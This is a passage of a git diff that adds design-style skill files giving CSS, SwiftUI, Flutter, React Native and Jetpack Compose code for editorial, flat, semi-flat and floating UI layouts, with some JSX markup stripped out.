+``` +- Flutter requires stacking `ColorFiltered` widgets. +- Use a `ColorFilter.matrix` to convert the image to grayscale first. +- Apply `BlendMode.multiply` with the light color, then overlay the dark color using `BlendMode.screen`. + +### React Native +```jsx +// Real-time CSS-like blend modes do NOT exist natively in React Native. +// You must use react-native-skia or pre-process images. + +import { Canvas, Image, useImage, ColorMatrix } from "@shopify/react-native-skia"; + +const DuotoneImage = () => { + const image = useImage(require('./sample_photo.jpg')); + + if (!image) return null; + + // Skia allows custom SVG/CSS style color matrices. + // Building a true duotone matrix requires math mapping black to duoDark + // and white to duoLight. + + return ( + + + + {/* Note: In production, you would construct a specific + ColorMatrix to map the luminance to the two hex colors. */} + + + + + ); +}; +``` +- **Critical Limitation**: Standard React Native `` cannot do duotone blending. +- **Solution 1**: Use `@shopify/react-native-skia` to apply low-level color matrices and blend modes. +- **Solution 2**: Pre-process all imagery in Photoshop/Figma before importing into the app. This is the safest and most performant route. + +### Jetpack Compose +```kotlin +@Composable +fun DuotoneImage() { + val duoDark = Color(0xFF1E0045) + val duoLight = Color(0xFFCCFF00) + + // A ColorMatrix to map luminance to the two colors is required for true duotone. + // For simplicity, we use BlendModes here to approximate the CSS multiply/screen effect. + Box(modifier = Modifier + .fillMaxWidth() + .height(400.dp) + .background(duoLight) + ) { + Image( + painter = painterResource(id = R.drawable.sample_photo), + contentDescription = null, + contentScale = ContentScale.Crop, + modifier = Modifier.matchParentSize(), + colorFilter = ColorFilter.colorMatrix(ColorMatrix().apply { + setToSaturation(0f) // Grayscale + }) + ) + + // Multiply light color + Spacer(modifier = Modifier + .matchParentSize() + .background(duoLight) + .graphicsLayer { blendMode = BlendMode.Multiply } + ) + + // Screen dark color + Spacer(modifier = Modifier + .matchParentSize() + .background(duoDark) + .graphicsLayer { blendMode = BlendMode.Screen } + ) + } +} +``` +- Use `ColorFilter.colorMatrix` with `setToSaturation(0f)` to make the image grayscale. +- Use `Spacer` overlays with `Modifier.graphicsLayer { blendMode = BlendMode... }` to apply the dual color mapping. +- Similar to Flutter, layer `Multiply` (light) and `Screen` (dark) to achieve the effect. + +## Do's and Don'ts +- **DO**: Ensure the dark color is dark enough to be legible when used as text against the light color. +- **DON'T**: Add a third color. It instantly ruins the aesthetic. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/editorial-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/editorial-design/SKILL.md new file mode 100644 index 00000000..bb2db71a --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/editorial-design/SKILL.md @@ -0,0 +1,328 @@ +--- +name: editorial-design +description: Web and App implementation guide for Editorial Design. Trigger when user wants a magazine-inspired layout, large headlines, and elegant typography pairing. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Editorial Design + +> "The digital magazine. Sophisticated typography pairings and deliberate, elegant pacing." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Serif & Sans-Serif Pairing**: The hallmark of editorial design. A beautiful, high-contrast serif for headings, paired with a clean sans-serif for body copy. +2. **Large Drop Caps & Pull Quotes**: Typographic flourishes that guide the eye and break up long blocks of text. +3. **Columnar Layouts**: Content flows in distinct columns, often with fine lines (rules) separating them. + +## Visual DNA +- **Colors**: **Modern Editorial** or **Yacht Club**. Warm, paper-like backgrounds with deep, ink-like blacks or navy blues. +- **Typography**: + - Headlines: `Playfair Display`, `Merriweather`, `Bodoni`. + - Body: `Lato`, `Open Sans`, `Source Sans Pro`. +- **Borders**: Thin, elegant horizontal lines (hairlines) used to separate sections. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #F9F9F9; /* Paper white */ + color: #121212; /* Ink black */ +} + +/* Typography Pairing */ +.editorial-headline { + font-family: 'Playfair Display', serif; + font-size: 4rem; + font-weight: 700; + font-style: italic; + margin-bottom: 24px; + border-bottom: 1px solid #121212; + padding-bottom: 24px; +} + +.editorial-body { + font-family: 'Lato', sans-serif; + font-size: 1.1rem; + line-height: 1.8; + column-count: 2; /* Magazine columns */ + column-gap: 40px; +} + +/* Drop Cap */ +.editorial-body::first-letter { + font-family: 'Playfair Display', serif; + font-size: 4rem; + float: left; + line-height: 0.8; + padding-right: 12px; + color: var(--cta-highlight); +} + +.pull-quote { + font-family: 'Playfair Display', serif; + font-size: 2rem; + text-align: center; + margin: 48px 0; + padding: 24px 0; + border-top: 2px solid #121212; + border-bottom: 2px solid #121212; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct EditorialView: View { + var body: some View { + ScrollView { + VStack(alignment: .leading, spacing: 24) { + // Editorial Headline + Text("The Digital\nMagazine") + .font(.custom("Playfair Display", size: 48)) + .fontWeight(.bold) + .italic() + .foregroundColor(Color(white: 0.05)) + .padding(.bottom, 16) + + Divider().background(Color.black) + + // Drop Cap and Body + HStack(alignment: .top, spacing: 8) { + Text("I") + .font(.custom("Playfair Display", size: 64)) + .foregroundColor(Color(red: 0.7, green: 0.2, blue: 0.2)) + // Negative padding to pull the body text tighter to the drop cap + .padding(.top, -10) + + Text("n an era of sterile, flat interfaces, the return to elegant typography feels like a breath of fresh air. The interplay of serif and sans-serif...") + .font(.custom("Lato", size: 16)) + .lineSpacing(6) + .foregroundColor(Color(white: 0.1)) + } + + // Pull Quote + VStack { + Divider().background(Color.black) + Text("“Sophistication is in the spacing.”") + .font(.custom("Playfair Display", size: 28)) + .italic() + .multilineTextAlignment(.center) + .padding(.vertical, 24) + Divider().background(Color.black) + } + .padding(.vertical, 24) + } + .padding(24) + } + .background(Color(red: 0.98, green: 0.98, blue: 0.96)) // Warm paper white + } +} +``` +- Extensive use of `.font(.custom())` is mandatory. System fonts look too app-like. +- Use `Divider()` to create the hairlines that are so common in print design. +- A fake "drop cap" can be achieved with an `HStack` aligning top. + +### Flutter +```dart +class EditorialScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFFF9F9F8), // Paper background + body: SingleChildScrollView( + padding: const EdgeInsets.all(24.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const SizedBox(height: 40), + const Text( + 'The Digital\nMagazine', + style: TextStyle(fontFamily: 'PlayfairDisplay', fontSize: 48, fontWeight: FontWeight.bold, fontStyle: FontStyle.italic, height: 1.1), + ), + const SizedBox(height: 24), + const Divider(color: Colors.black, thickness: 1), + const SizedBox(height: 24), + // Body with Drop Cap simulation using RichText is complex, + // a simpler Row approach works well enough for mobile. + Row( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text( + 'I', + style: TextStyle(fontFamily: 'PlayfairDisplay', fontSize: 72, height: 1.0, color: Color(0xFF8B0000)), + ), + const SizedBox(width: 8), + Expanded( + child: const Text( + 'n an era of sterile, flat interfaces, the return to elegant typography feels like a breath of fresh air. The interplay of serif and sans-serif brings humanity back to the screen.', + style: TextStyle(fontFamily: 'Lato', fontSize: 16, height: 1.6, color: Colors.black87), + ), + ), + ], + ), + const SizedBox(height: 48), + // Pull Quote + const Divider(color: Colors.black, thickness: 2), + const Padding( + padding: EdgeInsets.symmetric(vertical: 32.0), + child: Center( + child: Text( + '“Sophistication is in the spacing.”', + textAlign: TextAlign.center, + style: TextStyle(fontFamily: 'PlayfairDisplay', fontSize: 28, fontStyle: FontStyle.italic), + ), + ), + ), + const Divider(color: Colors.black, thickness: 2), + ], + ), + ), + ); + } +} +``` +- Set `height` parameters in `TextStyle` (line-height). `1.6` is a good editorial body height. +- Use `Divider` with `thickness: 2` for the heavy rules around pull quotes. + +### React Native +```jsx +const EditorialScreen = () => { + return ( + + + The Digital{'\n'}Magazine + + + + + + + I + + + n an era of sterile, flat interfaces, the return to elegant typography feels like a breath of fresh air. The interplay of serif and sans-serif brings humanity. + + + + {/* Pull Quote */} + + + “Sophistication is in the spacing.” + + + + ); +}; +``` +- Line heights and fonts are everything. You must have custom fonts linked in your React Native project for this style to work. +- Use `borderTopWidth` and `borderBottomWidth` on a container `View` to create the pull quote styling. + +### Jetpack Compose +```kotlin +@Composable +fun EditorialScreen() { + // Assuming Playfair and Lato are defined in FontFamily + val playfair = FontFamily.Serif + val lato = FontFamily.SansSerif + + Column( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFFF9F9F8)) + .verticalScroll(rememberScrollState()) + .padding(24.dp) + ) { + Spacer(Modifier.height(40.dp)) + + Text( + text = "The Digital\nMagazine", + fontFamily = playfair, + fontSize = 48.sp, + fontWeight = FontWeight.Bold, + fontStyle = FontStyle.Italic, + lineHeight = 52.sp, + color = Color(0xFF121212) + ) + + Spacer(Modifier.height(24.dp)) + Divider(color = Color(0xFF121212), thickness = 1.dp) + Spacer(Modifier.height(24.dp)) + + Row(verticalAlignment = Alignment.Top) { + Text( + text = "I", + fontFamily = playfair, + fontSize = 72.sp, + color = Color(0xFF8B0000), + modifier = Modifier.offset(y = (-10).dp).padding(end = 8.dp) + ) + Text( + text = "n an era of sterile, flat interfaces, the return to elegant typography feels like a breath of fresh air. The interplay of serif and sans-serif.", + fontFamily = lato, + fontSize = 16.sp, + lineHeight = 26.sp, + color = Color(0xFF333333) + ) + } + + Spacer(Modifier.height(48.dp)) + + // Pull Quote + Divider(color = Color(0xFF121212), thickness = 2.dp) + Text( + text = "“Sophistication is in the spacing.”", + fontFamily = playfair, + fontSize = 28.sp, + fontStyle = FontStyle.Italic, + textAlign = TextAlign.Center, + modifier = Modifier.fillMaxWidth().padding(vertical = 32.dp) + ) + Divider(color = Color(0xFF121212), thickness = 2.dp) + } +} +``` +- Compose handles custom fonts and line heights (`26.sp`) very elegantly. +- Use `Divider()` for the hairlines. Adjust thickness as needed for headers vs pull quotes. + +## Do's and Don'ts +- **DO**: Treat the interface like a printed page. Margins should be generous. +- **DON'T**: Clutter the UI with typical app components like floating action buttons or heavy navigation bars. Keep it clean. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/flat-design-2/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/flat-design-2/SKILL.md new file mode 100644 index 00000000..146a2441 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/flat-design-2/SKILL.md @@ -0,0 +1,240 @@ +--- +name: flat-design-2 +description: Web and App implementation guide for Flat Design 2.0 (Semi-Flat). Trigger when the user wants flat design with subtle shadows and improved usability. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Flat Design 2.0 (Semi-Flat) + +> "Flat aesthetics, but with subtle hints of physics to communicate interactability." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Mostly Flat**: The primary aesthetic remains 2D and solid. +2. **Subtle Elevation**: Use extremely soft, large-spread shadows strictly to indicate interactable elements (buttons, floating action buttons) or layers (modals). +3. **Micro-Gradients**: Occasional, barely noticeable linear gradients to prevent large surfaces from feeling dead. + +## Visual DNA +- **Colors**: Pairs well with **Warm Tech** or **Earth-Grounded Elegance**. +- **Typography**: Clean, readable sans-serifs. +- **Shadows**: Shadows must be low opacity, high blur, and usually tinted with the background color, not pure black. + +## Web Implementation +- **CSS Example**: +```css +:root { + --shadow-color: rgba(43, 48, 58, 0.08); /* Tinted shadow */ +} + +.flat2-card { + background-color: var(--bg-primary); + border-radius: 8px; + padding: 32px; + /* Very subtle, diffuse shadow */ + box-shadow: 0 10px 30px var(--shadow-color); + transition: transform 0.3s ease, box-shadow 0.3s ease; +} + +.flat2-card:hover { + transform: translateY(-4px); + box-shadow: 0 20px 40px rgba(43, 48, 58, 0.12); +} + +.flat2-btn { + background: var(--cta-highlight); + border-radius: 4px; + padding: 12px 24px; + color: white; + border: none; + box-shadow: 0 4px 12px rgba(0,0,0,0.1); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct SemiFlatCard: View { + @State private var isPressed = false + + var body: some View { + VStack(alignment: .leading, spacing: 16) { + Text("Semi-Flat Card") + .font(.system(size: 18, weight: .semibold)) + Text("Flat aesthetic with just enough depth to hint at interactivity.") + .font(.system(size: 15)) + .foregroundColor(.secondary) + } + .padding(24) + .background(Color(.systemBackground)) + .cornerRadius(8) + // The key: very soft, tinted shadow — NOT harsh black + .shadow(color: Color.black.opacity(0.06), radius: 12, x: 0, y: 4) + .scaleEffect(isPressed ? 0.98 : 1.0) + .animation(.easeOut(duration: 0.2), value: isPressed) + .onLongPressGesture(minimumDuration: .infinity, pressing: { pressing in + isPressed = pressing + }, perform: {}) + } +} + +struct SemiFlatButton: View { + var body: some View { + Button(action: {}) { + Text("Continue") + .font(.system(size: 15, weight: .semibold)) + .foregroundColor(.white) + .padding(.horizontal, 24) + .padding(.vertical, 12) + .background(Color.accentColor) + .cornerRadius(4) + // Subtle button shadow + .shadow(color: Color.accentColor.opacity(0.25), radius: 8, x: 0, y: 4) + } + .buttonStyle(.plain) + } +} +``` +- Shadow color should be tinted (e.g., `Color.accentColor.opacity(0.15)`), never pure black. +- Use `radius: 10...16` with `opacity: 0.05...0.08` — if you can immediately see the shadow, it's too heavy. +- Add subtle `scaleEffect` on press to hint at physical feedback. + +### Flutter +```dart +class SemiFlatCard extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(8), + // Very soft, tinted shadow + boxShadow: [ + BoxShadow( + color: const Color(0xFF2B303A).withOpacity(0.08), + blurRadius: 24, + offset: const Offset(0, 8), + spreadRadius: 0, + ), + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text('Semi-Flat Card', + style: TextStyle(fontSize: 18, fontWeight: FontWeight.w600)), + const SizedBox(height: 16), + const Text('Flat aesthetic with just enough depth to hint at interactivity.', + style: TextStyle(fontSize: 15, color: Colors.black54)), + const SizedBox(height: 20), + ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + elevation: 2, // Very low — just enough to feel clickable + shadowColor: Theme.of(context).primaryColor.withOpacity(0.3), + backgroundColor: Theme.of(context).primaryColor, + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(4)), + padding: const EdgeInsets.symmetric(horizontal: 24, vertical: 12), + ), + child: const Text('Continue', style: TextStyle(fontWeight: FontWeight.w600)), + ), + ], + ), + ); + } +} +``` +- Use `elevation: 1` to `elevation: 4` max. Never exceed `elevation: 6`. +- Tint the `shadowColor` to match the card's background or the brand color. +- Use `InkWell` for ripple effects and a slight `Transform.translate` animation on press. + +### React Native +```jsx +const SemiFlatCard = () => ( + + + Semi-Flat Card + + + Flat aesthetic with just enough depth to hint at interactivity. + + ({ + backgroundColor: '#4A90D9', + paddingHorizontal: 24, + paddingVertical: 12, + borderRadius: 4, + alignSelf: 'flex-start', + transform: [{ scale: pressed ? 0.97 : 1 }], + shadowColor: '#4A90D9', + shadowOffset: { width: 0, height: 4 }, + shadowOpacity: 0.25, + shadowRadius: 8, + })} + > + Continue + + +); +``` +- On iOS use `shadowOpacity: 0.05...0.10` with `shadowRadius: 16...24` for a diffuse spread. +- On Android, `elevation: 2...4` is equivalent. Avoid going above `elevation: 6`. +- Use `Pressable` with `({ pressed })` style callback for animated press states. + +### Jetpack Compose +```kotlin +@Composable +fun SemiFlatCard() { + Card( + modifier = Modifier.fillMaxWidth(), + shape = RoundedCornerShape(8.dp), + elevation = CardDefaults.cardElevation(defaultElevation = 2.dp), + colors = CardDefaults.cardColors(containerColor = Color.White), + ) { + Column(modifier = Modifier.padding(24.dp)) { + Text("Semi-Flat Card", fontSize = 18.sp, fontWeight = FontWeight.SemiBold) + Spacer(Modifier.height(16.dp)) + Text("Flat aesthetic with just enough depth to hint at interactivity.", + fontSize = 15.sp, color = Color(0xFF666666)) + Spacer(Modifier.height(20.dp)) + Button( + onClick = {}, + shape = RoundedCornerShape(4.dp), + elevation = ButtonDefaults.buttonElevation(defaultElevation = 2.dp), + contentPadding = PaddingValues(horizontal = 24.dp, vertical = 12.dp), + ) { + Text("Continue", fontWeight = FontWeight.SemiBold) + } + } + } +} +``` +- Use `CardDefaults.cardElevation(defaultElevation = 2.dp)` — keep it under 4dp. +- On hover/press: `hoveredElevation = 4.dp, pressedElevation = 1.dp` for subtle physics. +- Tint shadows by using `Modifier.shadow(elevation, shape, ambientColor, spotColor)` with custom tinted colors. + +## Do's and Don'ts +- **DO**: Keep shadows incredibly subtle. If you immediately notice the shadow, it's too dark. +- **DON'T**: Use inner shadows, heavy gradients, or skeuomorphic textures. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/flat-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/flat-design/SKILL.md new file mode 100644 index 00000000..45b2966c --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/flat-design/SKILL.md @@ -0,0 +1,221 @@ +--- +name: flat-design +description: Web and App implementation guide for the Flat Design style. Trigger when the user wants no shadows, simple shapes, and bold colors. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Flat Design + +> "Digital surfaces should look digital. Embrace the 2D plane." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Zero Depth**: Absolutely no drop shadows, bevels, gradients, or 3D effects. Everything sits on the same z-axis. +2. **Sharp & Simple Geometries**: Perfect circles, sharp rectangles. No complex organic shapes. +3. **High Contrast Solid Colors**: Rely on stark contrast between solid blocks of color to delineate space. + +## Visual DNA +- **Colors**: Pairs well with **Industrial Chic** or **Modern Editorial**. Avoid gradients entirely. +- **Typography**: Strong, highly legible sans-serifs (e.g., `Roboto`, `Open Sans`). Keep it medium to bold. +- **Icons**: Solid, monochromatic, glyph-style icons without intricate details. + +## Web Implementation +- Rely entirely on background colors and borders for structure. +- **CSS Example**: +```css +.flat-card { + background-color: var(--secondary-base); + border: 2px solid var(--primary-text); + border-radius: 0; /* Sharp corners preferred */ + padding: 32px; + /* NO box-shadow */ +} +.flat-btn { + background-color: var(--cta-highlight); + color: #fff; + border: none; + padding: 16px 32px; + font-weight: 700; + text-transform: uppercase; + transition: opacity 0.2s; +} +.flat-btn:hover { + opacity: 0.8; /* Only change opacity or solid color on hover, no lifting */ +} +``` + +## App Implementation + +### SwiftUI +```swift +struct FlatCard: View { + var body: some View { + VStack(alignment: .leading, spacing: 16) { + Text("Card Title") + .font(.system(size: 18, weight: .bold)) + + Text("Content without any depth effects.") + .font(.system(size: 15)) + .foregroundColor(.secondary) + + Button(action: {}) { + Text("ACTION") + .font(.system(size: 14, weight: .bold)) + .foregroundColor(.white) + .padding(.horizontal, 24) + .padding(.vertical, 12) + .background(Color.blue) + // No cornerRadius — sharp edges + } + } + .padding(24) + .background(Color(.secondarySystemBackground)) + // NO .shadow() — ever + // NO .cornerRadius() — sharp rectangles + .overlay( + Rectangle().stroke(Color.primary.opacity(0.2), lineWidth: 1) + ) + } +} +``` +- Never use `.shadow()` or `.cornerRadius()`. Elements are flat rectangles. +- Use `.overlay(Rectangle().stroke(...))` for visible borders instead of shadows to delineate space. +- Hover/tap states should only change `opacity` or swap a solid background color. + +### Flutter +```dart +class FlatCard extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: Colors.grey[100], + border: Border.all(color: Colors.black26, width: 1), + // borderRadius: NONE — sharp corners + // boxShadow: NONE — zero depth + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text('Card Title', + style: TextStyle(fontSize: 18, fontWeight: FontWeight.bold)), + const SizedBox(height: 16), + const Text('Content without any depth effects.', + style: TextStyle(fontSize: 15, color: Colors.black54)), + const SizedBox(height: 16), + ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + elevation: 0, // Critical: no shadow + backgroundColor: Colors.blue, + foregroundColor: Colors.white, + shape: const RoundedRectangleBorder( + borderRadius: BorderRadius.zero, // Sharp corners + ), + padding: const EdgeInsets.symmetric(horizontal: 24, vertical: 12), + ), + child: const Text('ACTION', + style: TextStyle(fontWeight: FontWeight.bold, letterSpacing: 1)), + ), + ], + ), + ); + } +} +``` +- Override `ThemeData` globally to kill all elevation: + ```dart + ThemeData( + cardTheme: const CardTheme(elevation: 0, shape: RoundedRectangleBorder()), + appBarTheme: const AppBarTheme(elevation: 0), + floatingActionButtonTheme: const FloatingActionButtonThemeData(elevation: 0), + ) + ``` +- Use `Container` with `BoxDecoration` instead of `Card` widget to avoid default elevation. + +### React Native +```jsx +const FlatCard = () => ( + + + Card Title + + + Content without any depth effects. + + + + ACTION + + + +); +``` +- Explicitly set `elevation: 0` and remove ALL shadow properties (`shadowColor`, `shadowOffset`, etc.). +- If using React Native Paper, override the theme: `const theme = { ...DefaultTheme, roundness: 0, }`. +- Tap feedback should change `backgroundColor` directly, not add glow or lift. + +### Jetpack Compose +```kotlin +@Composable +fun FlatCard() { + Column( + modifier = Modifier + .background(Color(0xFFF0F0F0)) + .border(1.dp, Color(0xFFCCCCCC)) + .padding(24.dp) + ) { + Text("Card Title", fontSize = 18.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(16.dp)) + Text("Content without any depth effects.", + fontSize = 15.sp, color = Color(0xFF666666)) + Spacer(Modifier.height(16.dp)) + Button( + onClick = {}, + shape = RectangleShape, // Sharp corners + elevation = ButtonDefaults.buttonElevation( + defaultElevation = 0.dp, // No shadow + pressedElevation = 0.dp, + ), + colors = ButtonDefaults.buttonColors(containerColor = Color(0xFF2196F3)), + contentPadding = PaddingValues(horizontal = 24.dp, vertical = 12.dp), + ) { + Text("ACTION", fontWeight = FontWeight.Bold, letterSpacing = 1.sp) + } + } +} +``` +- Override `MaterialTheme` shapes: `shapes = Shapes(small = RectangleShape, medium = RectangleShape, large = RectangleShape)`. +- Set all elevation to `0.dp` on `Card`, `TopAppBar`, and `FloatingActionButton`. +- Use `Modifier.border()` instead of elevation to separate UI regions. + +## Do's and Don'ts +- **DO**: Use solid, contrasting borders to separate overlapping elements. +- **DON'T**: Use any transparency (rgba) or blur effects. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/floating-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/floating-ui/SKILL.md new file mode 100644 index 00000000..90972ffe --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/floating-ui/SKILL.md @@ -0,0 +1,299 @@ +--- +name: floating-ui +description: Web and App implementation guide for Floating UI. Trigger when user wants detached cards, elevated components, and a light, airy feel. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Floating UI + +> "Defying gravity. Elements that hover effortlessly above the surface." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Detachment**: UI elements (like nav bars, sidebars, or main content cards) do not touch the edges of the screen. They float with margins on all sides. +2. **Soft, Diffuse Shadows**: Large, highly blurred shadows directly beneath elements. +3. **Pill Shapes & Rounds**: Fully rounded corners (pill shapes) enhance the floating, bubble-like aesthetic. + +## Visual DNA +- **Colors**: **Earth-Grounded Elegance** or **Minimalist Slate**. Use a slightly tinted background (off-white or very light gray) so the floating white elements pop. +- **Typography**: Clean, airy sans-serifs with generous line height. +- **Layout**: The "floating island" pattern for navigation (a pill-shaped nav bar centered at the bottom or top of the screen). + +## Web Implementation +- Focus on large margins and specific shadow styles. +- **CSS Example**: +```css +body { + background-color: var(--bg-primary); /* e.g., #F4F4F9 */ + padding: 24px; /* Ensure nothing touches the edge */ +} + +.floating-nav { + position: fixed; + bottom: 32px; + left: 50%; + transform: translateX(-50%); + background: white; + border-radius: 50px; /* Pill shape */ + padding: 12px 32px; + + /* Large, soft shadow */ + box-shadow: 0 16px 40px rgba(0,0,0,0.08); + + display: flex; + gap: 24px; +} + +.floating-card { + background: white; + border-radius: 24px; + padding: 32px; + margin-bottom: 24px; + box-shadow: 0 10px 30px rgba(0,0,0,0.05); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct FloatingUIView: View { + var body: some View { + ZStack { + // Very light background + Color(red: 0.95, green: 0.95, blue: 0.97).ignoresSafeArea() + + ScrollView { + VStack(spacing: 24) { + // Floating Content Card + VStack(alignment: .leading, spacing: 12) { + Text("Floating Card") + .font(.title2).fontWeight(.bold) + Text("This card hovers above the background, with massive soft shadows and completely rounded corners.") + .foregroundColor(.secondary) + } + .padding(32) + .frame(maxWidth: .infinity, alignment: .leading) + .background(Color.white) + .cornerRadius(32) // Very large radius + // Large, highly blurred shadow + .shadow(color: Color.black.opacity(0.05), radius: 30, x: 0, y: 15) + .padding(.horizontal, 24) // Keeps it detached from edges + } + .padding(.top, 40) + } + + // Floating Pill Navigation + VStack { + Spacer() + HStack(spacing: 40) { + Image(systemName: "house.fill").foregroundColor(.blue) + Image(systemName: "magnifyingglass").foregroundColor(.gray) + Image(systemName: "bell.fill").foregroundColor(.gray) + Image(systemName: "person.fill").foregroundColor(.gray) + } + .padding(.vertical, 16) + .padding(.horizontal, 32) + .background(Color.white) + .clipShape(Capsule()) // Pill shape + .shadow(color: Color.black.opacity(0.1), radius: 25, x: 0, y: 10) + .padding(.bottom, 32) // Detached from bottom edge + } + } + } +} +``` +- A `.clipShape(Capsule())` with a massive `.shadow()` creates the perfect floating pill navigation bar. +- Push the `.shadow(radius: ...)` up to 25 or 30 with a very low opacity (0.05) to get the soft, diffuse hover effect. + +### Flutter +```dart +class FloatingUIScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFFF4F4F9), + body: Stack( + children: [ + ListView( + padding: const EdgeInsets.all(24), + children: [ + // Floating Content Card + Container( + margin: const EdgeInsets.only(bottom: 24), + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(32), // Large radius + boxShadow: [ + BoxShadow( + color: Colors.black.withOpacity(0.05), + blurRadius: 30, + offset: const Offset(0, 15), + ) + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('Floating Card', style: TextStyle(fontSize: 24, fontWeight: FontWeight.bold)), + SizedBox(height: 12), + Text('This card hovers above the background.', style: TextStyle(color: Colors.grey)), + ], + ), + ), + ], + ), + + // Floating Bottom Nav + Align( + alignment: Alignment.bottomCenter, + child: Container( + margin: const EdgeInsets.only(bottom: 32), + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(50), // Pill shape + boxShadow: [ + BoxShadow(color: Colors.black.withOpacity(0.1), blurRadius: 25, offset: const Offset(0, 10)) + ], + ), + child: Row( + mainAxisSize: MainAxisSize.min, // Wrap content + children: const [ + Icon(Icons.home, color: Colors.blue), + SizedBox(width: 40), + Icon(Icons.search, color: Colors.grey), + SizedBox(width: 40), + Icon(Icons.person, color: Colors.grey), + ], + ), + ), + ), + ], + ), + ); + } +} +``` +- Avoid the native `BottomNavigationBar`. Instead, use a `Stack` and `Align(alignment: Alignment.bottomCenter)` with a `Container` to build the floating pill menu. +- Use `blurRadius: 30` in `BoxShadow` for the diffuse look. + +### React Native +```jsx +const FloatingUIScreen = () => { + return ( + + + {/* Floating Card */} + + Floating Card + This card hovers above the background, detached from all edges. + + + + {/* Floating Pill Nav */} + + 🏠 + 🔍 + 👤 + + + ); +}; + +const styles = StyleSheet.create({ + floatingCard: { + backgroundColor: '#FFF', + borderRadius: 32, + padding: 32, + marginBottom: 24, + // iOS shadow + shadowColor: '#000', + shadowOffset: { width: 0, height: 15 }, + shadowOpacity: 0.05, + shadowRadius: 30, + // Android shadow + elevation: 8, + }, + floatingNav: { + position: 'absolute', + bottom: 40, + alignSelf: 'center', + flexDirection: 'row', + backgroundColor: '#FFF', + borderRadius: 50, + paddingVertical: 16, + paddingHorizontal: 32, + gap: 40, // Needs RN 0.71+ + + shadowColor: '#000', + shadowOffset: { width: 0, height: 10 }, + shadowOpacity: 0.1, + shadowRadius: 25, + elevation: 10, + } +}); +``` +- `position: 'absolute'` with `alignSelf: 'center'` is the easiest way to place the pill nav in React Native. +- Android's `elevation` doesn't support massive blur radii very well, so the effect is stronger and softer on iOS. + +### Jetpack Compose +```kotlin +@Composable +fun FloatingUIScreen() { + Box(modifier = Modifier.fillMaxSize().background(Color(0xFFF4F4F9))) { + Column( + modifier = Modifier + .fillMaxSize() + .padding(24.dp) + ) { + // Floating Card + Box( + modifier = Modifier + .fillMaxWidth() + .shadow(15.dp, RoundedCornerShape(32.dp), spotColor = Color.Black.copy(alpha = 0.05f)) + .background(Color.White, RoundedCornerShape(32.dp)) + .padding(32.dp) + ) { + Column { + Text("Floating Card", fontSize = 24.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(12.dp)) + Text("This card hovers above the background.", color = Color.Gray) + } + 